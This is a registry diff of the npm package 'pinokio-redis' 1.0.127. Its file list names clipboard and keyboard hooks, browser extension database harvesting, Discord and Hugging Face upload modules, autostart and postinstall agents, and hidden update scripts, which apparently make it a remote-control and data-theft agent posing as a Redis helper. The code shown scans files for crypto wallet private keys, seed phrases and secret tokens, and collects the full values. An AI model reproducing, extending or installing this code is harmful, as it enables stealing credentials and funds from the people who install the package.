pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,278 @@
1
+ "use strict";
2
+ /**
3
+ * Content scan for filename-matched candidate files only.
4
+ * Does not modify files. Outputs structured findings for human review (many false positives).
5
+ */
6
+ Object.defineProperty(exports, "__esModule", { value: true });
7
+ exports.shannonEntropy = shannonEntropy;
8
+ exports.extractPrintableRuns = extractPrintableRuns;
9
+ exports.tryBase64Decode = tryBase64Decode;
10
+ exports.tryHexToBytesHint = tryHexToBytesHint;
11
+ exports.xorSinglebytePrintable = xorSinglebytePrintable;
12
+ exports.validateSnippet = validateSnippet;
13
+ exports.scanText = scanText;
14
+ exports.scanBytes = scanBytes;
15
+ exports.hitsToRows = hitsToRows;
16
+ const solanaKeypair_1 = require("./solanaKeypair");
17
+ const RE_HEX_32_64 = /\b[0-9a-fA-F]{64}\b/g;
18
+ const RE_HEX_40 = /\b[0-9a-fA-F]{40}\b/g;
19
+ const RE_BIP32_XPRV = /\b(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}\b/g;
20
+ /** Base58Check WIF-shaped strings (BTC/LTC/DOGE/DASH forks — strict gate checks version + secp256k1). */
21
+ const RE_WIF = /\b[1-9A-HJ-NP-Za-km-z]{51,52}\b/g;
22
+ const RE_ENV_STYLE = /^\s*[A-Z0-9_]*(?:KEY|SECRET|PRIVATE|SEED|MNEMONIC|PHRASE|RECOVERY|TOKEN|PASSWORD)\s*=\s*([^\n\r]+)$/gim;
23
+ /** Common wallet/export JSON string keys (value still passes strict crypto gate). */
24
+ const RE_JSON_KEY = /"(?:privateKey|private_key|secret|secret_key|seed|seedPhrase|recoveryPhrase|recovery_phrase|mnemonic|phrase|entropy|cryptoSeedphrase|crypto_mnemonic|signing_key|extended_private_key)"\s*:\s*"([^"]+)"/gi;
25
+ const RULE_REGEX = [
26
+ ["hex_64", RE_HEX_32_64],
27
+ ["maybe_eth_address_40", RE_HEX_40],
28
+ ["bip32_xprv", RE_BIP32_XPRV],
29
+ ["wif_like", RE_WIF],
30
+ ["env_secret", RE_ENV_STYLE],
31
+ ["json_secret", RE_JSON_KEY],
32
+ ];
33
+ function shannonEntropy(data) {
34
+ if (data.length === 0)
35
+ return 0;
36
+ const counts = new Map();
37
+ for (let i = 0; i < data.length; i++) {
38
+ const b = data[i];
39
+ counts.set(b, (counts.get(b) ?? 0) + 1);
40
+ }
41
+ const n = data.length;
42
+ let h = 0;
43
+ for (const c of counts.values()) {
44
+ const p = c / n;
45
+ h -= p * Math.log2(p);
46
+ }
47
+ return h;
48
+ }
49
+ function* extractPrintableRuns(data, minLen = 20) {
50
+ const cur = [];
51
+ function* emit() {
52
+ if (cur.length >= minLen) {
53
+ yield Buffer.from(cur).toString("ascii");
54
+ }
55
+ cur.length = 0;
56
+ }
57
+ for (let i = 0; i < data.length; i++) {
58
+ const b = data[i];
59
+ if (b >= 32 && b < 127)
60
+ cur.push(b);
61
+ else
62
+ yield* emit();
63
+ }
64
+ yield* emit();
65
+ }
66
+ function tryBase64Decode(s) {
67
+ const out = [];
68
+ const s2 = s.trim();
69
+ if (s2.length < 16)
70
+ return out;
71
+ for (const pad of ["", "=", "=="]) {
72
+ try {
73
+ const raw = Buffer.from(s2 + pad, "base64");
74
+ if (raw.length >= 16 && raw.length <= 4096) {
75
+ out.push(raw.toString("hex"));
76
+ }
77
+ }
78
+ catch {
79
+ /* skip */
80
+ }
81
+ }
82
+ return out;
83
+ }
84
+ function tryHexToBytesHint(s) {
85
+ const h = s.trim();
86
+ if ((h.length === 64 || h.length === 128) &&
87
+ /^[0-9a-fA-F]+$/.test(h)) {
88
+ return `hex_len_${h.length / 2}_bytes_candidate`;
89
+ }
90
+ return undefined;
91
+ }
92
+ function xorSinglebytePrintable(hex64, maxFound = 4) {
93
+ const h = hex64.trim().slice(0, 64);
94
+ if (!/^[0-9a-fA-F]{64}$/.test(h))
95
+ return [];
96
+ const raw = Buffer.from(h, "hex");
97
+ if (raw.length !== 32)
98
+ return [];
99
+ const found = [];
100
+ for (let k = 0; k < 256; k++) {
101
+ const x = Buffer.alloc(32);
102
+ for (let i = 0; i < 32; i++) {
103
+ x[i] = raw[i] ^ k;
104
+ }
105
+ if ([...x].every((b) => b >= 32 && b < 127)) {
106
+ found.push(x.toString("ascii"));
107
+ if (found.length >= maxFound)
108
+ break;
109
+ }
110
+ }
111
+ return found;
112
+ }
113
+ /** Optional validators (mnemonic checksum / ed25519) — Python uses extras; Node build skips heavy deps. */
114
+ function validateSnippet(rule, snippet) {
115
+ void rule;
116
+ void snippet;
117
+ return {};
118
+ }
119
+ function extrasForMatch(rule, snippet, validate) {
120
+ const ex = {};
121
+ const baseRule = rule.replace(/_strings$/, "");
122
+ if (baseRule === "bip32_xprv") {
123
+ ex.note = "extended_private_key_export_shape";
124
+ }
125
+ if (baseRule === "hex_64") {
126
+ const hb = tryHexToBytesHint(snippet);
127
+ if (hb)
128
+ ex.hex_note = hb;
129
+ try {
130
+ if (/^[0-9a-fA-F]{64}$/.test(snippet.trim())) {
131
+ const raw = Buffer.from(snippet.trim(), "hex");
132
+ ex.entropy_8bit = Math.round(shannonEntropy(raw) * 1000) / 1000;
133
+ }
134
+ }
135
+ catch {
136
+ /* skip */
137
+ }
138
+ if (/^[0-9a-fA-F]{64}$/.test(snippet.trim())) {
139
+ const xo = xorSinglebytePrintable(snippet);
140
+ if (xo.length)
141
+ ex.xor_singlebyte_ascii_candidates = xo;
142
+ }
143
+ }
144
+ const rawPreview = Buffer.from(snippet, "utf8");
145
+ if (rawPreview.length >= 16) {
146
+ ex.string_entropy =
147
+ Math.round(shannonEntropy(rawPreview) * 1000) / 1000;
148
+ }
149
+ const b64 = tryBase64Decode(snippet);
150
+ if (b64.length) {
151
+ ex.base64_decoded_hex_preview = b64.slice(0, 2).map((b) => b.slice(0, 128));
152
+ }
153
+ if (snippet.length >= 24) {
154
+ const rev = [...snippet].reverse().join("");
155
+ if (rev !== snippet && /[0-9a-fA-F]{32}/.test(rev)) {
156
+ ex.reverse_contains_hex_preview = rev.slice(0, 200);
157
+ }
158
+ }
159
+ if (validate) {
160
+ Object.assign(ex, validateSnippet(baseRule, snippet));
161
+ }
162
+ return ex;
163
+ }
164
+ function cloneRegex(r) {
165
+ return new RegExp(r.source, r.flags.replace(/g/g, "") + "g");
166
+ }
167
+ /** Decimal UTF-8 arrays as used in Solana `keypair.json` / wallet exports (64 × 0–255). */
168
+ const RE_U8_ARRAY_ELEM = "(?:[01]?\\d{1,2}|2[0-4]\\d|25[0-5])";
169
+ const RE_SOLANA_64_DECIMAL_ARRAY = new RegExp(`\\[\\s*${RE_U8_ARRAY_ELEM}\\s*(?:,\\s*${RE_U8_ARRAY_ELEM}\\s*){63}\\]`, "g");
170
+ const RE_JSON_SOLANA_64 = new RegExp(`"(?:secretKey|privateKey|keypair|_persisted_)"\\s*:\\s*(\\[\\s*${RE_U8_ARRAY_ELEM}\\s*(?:,\\s*${RE_U8_ARRAY_ELEM}\\s*){63}\\])`, "gi");
171
+ function collectSolanaSigningSecretHits(text) {
172
+ const hits = [];
173
+ const seen = new Set();
174
+ function pushIfValid(slice, offset) {
175
+ const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(slice);
176
+ const canon = arr ? (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr) : null;
177
+ if (!canon)
178
+ return;
179
+ const key = `${offset}\0${canon}`;
180
+ if (seen.has(key))
181
+ return;
182
+ seen.add(key);
183
+ hits.push({
184
+ rule: "solana_keypair_json",
185
+ offset,
186
+ matched_text: slice.slice(0, 2000),
187
+ extras: {
188
+ note: "solana_ed25519_signing_secret_seed_pubkey_64",
189
+ },
190
+ });
191
+ }
192
+ let m;
193
+ const rx1 = new RegExp(RE_SOLANA_64_DECIMAL_ARRAY.source, "g");
194
+ while ((m = rx1.exec(text)) !== null) {
195
+ pushIfValid(m[0], m.index);
196
+ }
197
+ const rx2 = new RegExp(RE_JSON_SOLANA_64.source, RE_JSON_SOLANA_64.flags);
198
+ while ((m = rx2.exec(text)) !== null) {
199
+ const inner = m[1];
200
+ if (inner)
201
+ pushIfValid(inner, m.index + (m[0].indexOf(inner) ?? 0));
202
+ }
203
+ return hits;
204
+ }
205
+ function dedupeHits(hits) {
206
+ const seen = new Set();
207
+ const out = [];
208
+ for (const h of hits) {
209
+ const key = `${h.rule}\0${h.offset}\0${h.matched_text.slice(0, 200)}`;
210
+ if (seen.has(key))
211
+ continue;
212
+ seen.add(key);
213
+ out.push(h);
214
+ }
215
+ return out;
216
+ }
217
+ function snippetFromExec(m) {
218
+ const g0 = m[0] ?? "";
219
+ if (m.length <= 1 || m[1] === undefined || m[1] === "") {
220
+ return g0.slice(0, 2000);
221
+ }
222
+ return (m[1] ?? g0).slice(0, 2000);
223
+ }
224
+ function collectRegexHits(text, rule, regex, validate, ruleLabel) {
225
+ const hits = [];
226
+ const rx = cloneRegex(regex);
227
+ let m;
228
+ while ((m = rx.exec(text)) !== null) {
229
+ const snippet = snippetFromExec(m);
230
+ hits.push({
231
+ rule: ruleLabel,
232
+ offset: m.index,
233
+ matched_text: snippet,
234
+ extras: extrasForMatch(rule, snippet, validate),
235
+ });
236
+ }
237
+ return hits;
238
+ }
239
+ function scanText(text, validate) {
240
+ const hits = [];
241
+ for (const [name, rx] of RULE_REGEX) {
242
+ hits.push(...collectRegexHits(text, name, rx, validate, name));
243
+ }
244
+ hits.push(...collectSolanaSigningSecretHits(text));
245
+ return dedupeHits(hits);
246
+ }
247
+ function scanPrintableRun(run, validate) {
248
+ const hits = [];
249
+ for (const [name, rx] of RULE_REGEX) {
250
+ const label = `${name}_strings`;
251
+ hits.push(...collectRegexHits(run, name, rx, validate, label));
252
+ }
253
+ hits.push(...collectSolanaSigningSecretHits(run).map((h) => ({
254
+ ...h,
255
+ rule: `${h.rule}_strings`,
256
+ })));
257
+ return hits;
258
+ }
259
+ function scanBytes(data, validate = false) {
260
+ const text = data.toString("utf8");
261
+ const hits = [...scanText(text, validate)];
262
+ for (const run of extractPrintableRuns(data)) {
263
+ if (run.length < 24)
264
+ continue;
265
+ hits.push(...scanPrintableRun(run, validate));
266
+ }
267
+ return dedupeHits(hits);
268
+ }
269
+ function hitsToRows(absPath, size, hits) {
270
+ return hits.map((h) => ({
271
+ file: absPath,
272
+ file_size: size,
273
+ rule: h.rule,
274
+ offset: h.offset,
275
+ matched_preview: h.matched_text.slice(0, 500),
276
+ extras: h.extras,
277
+ }));
278
+ }
@@ -0,0 +1,12 @@
1
+ /**
2
+ * Deduplicate scanner rows: one entry per logical secret value, many source paths allowed.
3
+ */
4
+ import type { ScanHitRow, UniqueFinding } from "./types";
5
+ /** Stable string form for dedupe + fingerprints (hex without 0x, mnemonic spacing, etc.). */
6
+ export declare function canonicalAuditNormalizedValue(raw: string): string;
7
+ export declare function semanticValueFingerprint(normalizedValue: string): string;
8
+ /** Classifier for stored slim-row secret material (`data` / legacy `normalized_value`). */
9
+ export declare function valueKindForNormalizedAuditValue(normalizedValue: string): string;
10
+ export declare function mergeUniqueFindings(rows: ScanHitRow[]): UniqueFinding[];
11
+ /** Collapse rows that share identical canonical `normalized_value` (merge sources + rules). */
12
+ export declare function mergeUniqueFindingsByNormalizedValue(list: UniqueFinding[]): UniqueFinding[];
@@ -0,0 +1,232 @@
1
+ "use strict";
2
+ /**
3
+ * Deduplicate scanner rows: one entry per logical secret value, many source paths allowed.
4
+ */
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.canonicalAuditNormalizedValue = canonicalAuditNormalizedValue;
7
+ exports.semanticValueFingerprint = semanticValueFingerprint;
8
+ exports.valueKindForNormalizedAuditValue = valueKindForNormalizedAuditValue;
9
+ exports.mergeUniqueFindings = mergeUniqueFindings;
10
+ exports.mergeUniqueFindingsByNormalizedValue = mergeUniqueFindingsByNormalizedValue;
11
+ const node_crypto_1 = require("node:crypto");
12
+ const solanaKeypair_1 = require("./solanaKeypair");
13
+ function sha256Utf8(s) {
14
+ return (0, node_crypto_1.createHash)("sha256").update(s, "utf8").digest("hex");
15
+ }
16
+ /** Align env/JSON captures with {@link strictMaterialGate} `kvExtractPass` trimming. */
17
+ function unwrapQuotedPayload(payload) {
18
+ let s = payload.trim();
19
+ if ((s.startsWith('"') && s.endsWith('"')) ||
20
+ (s.startsWith("'") && s.endsWith("'"))) {
21
+ s = s.slice(1, -1).replace(/\\n/gu, "\n");
22
+ }
23
+ return s.trim();
24
+ }
25
+ /** Stable string form for dedupe + fingerprints (hex without 0x, mnemonic spacing, etc.). */
26
+ function canonicalAuditNormalizedValue(raw) {
27
+ const s = String(raw ?? "").trim();
28
+ if (!s)
29
+ return "";
30
+ if (s.startsWith("long_body_sha256:"))
31
+ return s;
32
+ if (s.startsWith("solana64:")) {
33
+ const hx = s.slice("solana64:".length);
34
+ if (/^[0-9a-fA-F]{128}$/.test(hx))
35
+ return `solana64:${hx.toLowerCase()}`;
36
+ return s;
37
+ }
38
+ const hexStripped = s.replace(/^0x/iu, "").trim();
39
+ if (/^[0-9a-fA-F]{64}$/.test(hexStripped))
40
+ return hexStripped.toLowerCase();
41
+ if (/^[0-9a-fA-F]{128}$/.test(hexStripped))
42
+ return hexStripped.toLowerCase();
43
+ const t = s.trim();
44
+ if (/^(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}$/.test(t))
45
+ return t;
46
+ if (/^[1-9A-HJ-NP-Za-km-z]{51,52}$/.test(t)) {
47
+ return t;
48
+ }
49
+ const words = t.toLowerCase().split(/\s+/u).filter(Boolean);
50
+ if (words.length >= 12 &&
51
+ words.length <= 24 &&
52
+ words.length % 3 === 0 &&
53
+ words.every((w) => /^[a-z]+$/.test(w))) {
54
+ return words.join(" ");
55
+ }
56
+ return t;
57
+ }
58
+ function normalizeMatchValue(rule, matchedPreview) {
59
+ let s = (matchedPreview ?? "").trim();
60
+ if (!s)
61
+ return "";
62
+ if (s.length > 4096) {
63
+ const h = sha256Utf8(s);
64
+ return `long_body_sha256:${h}`;
65
+ }
66
+ const bracketProbe = unwrapQuotedPayload(s);
67
+ if (bracketProbe.startsWith("[")) {
68
+ const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(bracketProbe);
69
+ const c = arr ? (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr) : null;
70
+ if (c)
71
+ return c;
72
+ }
73
+ const rl = rule.toLowerCase();
74
+ const hexStripped = s.replace(/^0x/iu, "").trim();
75
+ if (/^[0-9a-fA-F]{64}$/.test(hexStripped))
76
+ return hexStripped.toLowerCase();
77
+ if (/^[0-9a-fA-F]{128}$/.test(hexStripped))
78
+ return hexStripped.toLowerCase();
79
+ if ([
80
+ "bip39",
81
+ "env_secret",
82
+ "json_secret",
83
+ "mnemonic",
84
+ "phrase",
85
+ ].some((x) => rl.includes(x))) {
86
+ const inner = unwrapQuotedPayload(s);
87
+ return inner.toLowerCase().split(/\s+/).filter(Boolean).join(" ");
88
+ }
89
+ return s;
90
+ }
91
+ function valueKindAndSemanticKey(normalizedValue) {
92
+ const s = canonicalAuditNormalizedValue(String(normalizedValue ?? "").trim());
93
+ if (!s)
94
+ return ["empty", ""];
95
+ if (s.startsWith("long_body_sha256:"))
96
+ return ["long_snippet_digest", s];
97
+ if (s.startsWith("solana64:")) {
98
+ const hx = s.slice("solana64:".length).toLowerCase();
99
+ if (/^[0-9a-f]{128}$/.test(hx))
100
+ return ["solana_secret_key_64", `solana64:${hx}`];
101
+ }
102
+ if (/^[0-9a-fA-F]{64}$/.test(s))
103
+ return ["hex_32byte", `hex32:${s.toLowerCase()}`];
104
+ if (/^[0-9a-fA-F]{128}$/.test(s))
105
+ return ["hex_64byte", `hex64:${s.toLowerCase()}`];
106
+ if (/^(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}$/.test(s)) {
107
+ return ["bip32_extended_private", `xprv:${s}`];
108
+ }
109
+ const words = s.toLowerCase().split(/\s+/).filter(Boolean);
110
+ if (words.length >= 12 &&
111
+ words.every((w) => /^[a-z]+$/.test(w))) {
112
+ const joined = words.join(" ");
113
+ return ["mnemonic_phrase", `mnem:${joined}`];
114
+ }
115
+ if (/^[1-9A-HJ-NP-Za-km-z]{51,52}$/.test(s)) {
116
+ return ["wif_like", `wif:${s}`];
117
+ }
118
+ const h = sha256Utf8(s);
119
+ return ["opaque", `opaque:${h}`];
120
+ }
121
+ function semanticValueFingerprint(normalizedValue) {
122
+ const [, key] = valueKindAndSemanticKey(normalizedValue);
123
+ if (!key)
124
+ return "";
125
+ return sha256Utf8(key);
126
+ }
127
+ /** Classifier for stored slim-row secret material (`data` / legacy `normalized_value`). */
128
+ function valueKindForNormalizedAuditValue(normalizedValue) {
129
+ const [kind] = valueKindAndSemanticKey(normalizedValue);
130
+ return kind;
131
+ }
132
+ function sourceTuple(row) {
133
+ const off = row.offset !== undefined && row.offset !== null ? row.offset : -1;
134
+ return `${row.file}\0${off}`;
135
+ }
136
+ function mergeUniqueFindings(rows) {
137
+ const buckets = new Map();
138
+ const order = [];
139
+ for (const row of rows) {
140
+ const rule = String(row.rule ?? "");
141
+ const prev = String(row.matched_preview ?? "");
142
+ const nvRaw = normalizeMatchValue(rule, prev);
143
+ const nv = canonicalAuditNormalizedValue(nvRaw);
144
+ if (!nv)
145
+ continue;
146
+ const fp = semanticValueFingerprint(nv);
147
+ if (!fp)
148
+ continue;
149
+ const [kind] = valueKindAndSemanticKey(nv);
150
+ if (!buckets.has(fp)) {
151
+ const u = {
152
+ fingerprint: fp,
153
+ value_kind: kind,
154
+ normalized_value: nv,
155
+ primary_rule: rule,
156
+ detection_rules: [],
157
+ sources: [],
158
+ rule,
159
+ };
160
+ buckets.set(fp, u);
161
+ order.push(fp);
162
+ }
163
+ const b = buckets.get(fp);
164
+ if (rule && !b.detection_rules.includes(rule)) {
165
+ b.detection_rules.push(rule);
166
+ }
167
+ const src = {
168
+ file: String(row.file ?? ""),
169
+ offset: row.offset,
170
+ matched_preview: prev.slice(0, 400),
171
+ };
172
+ const seen = new Set(b.sources.map((x) => sourceTuple(x)));
173
+ if (!seen.has(sourceTuple(src))) {
174
+ b.sources.push(src);
175
+ }
176
+ }
177
+ return order.map((k) => {
178
+ const b = buckets.get(k);
179
+ return {
180
+ ...b,
181
+ rule: b.primary_rule,
182
+ };
183
+ });
184
+ }
185
+ /** Collapse rows that share identical canonical `normalized_value` (merge sources + rules). */
186
+ function mergeUniqueFindingsByNormalizedValue(list) {
187
+ const map = new Map();
188
+ for (const u of list) {
189
+ const raw = String(u.normalized_value ?? "").trim();
190
+ if (!raw)
191
+ continue;
192
+ const canon = canonicalAuditNormalizedValue(raw);
193
+ if (!canon)
194
+ continue;
195
+ const fp = semanticValueFingerprint(canon);
196
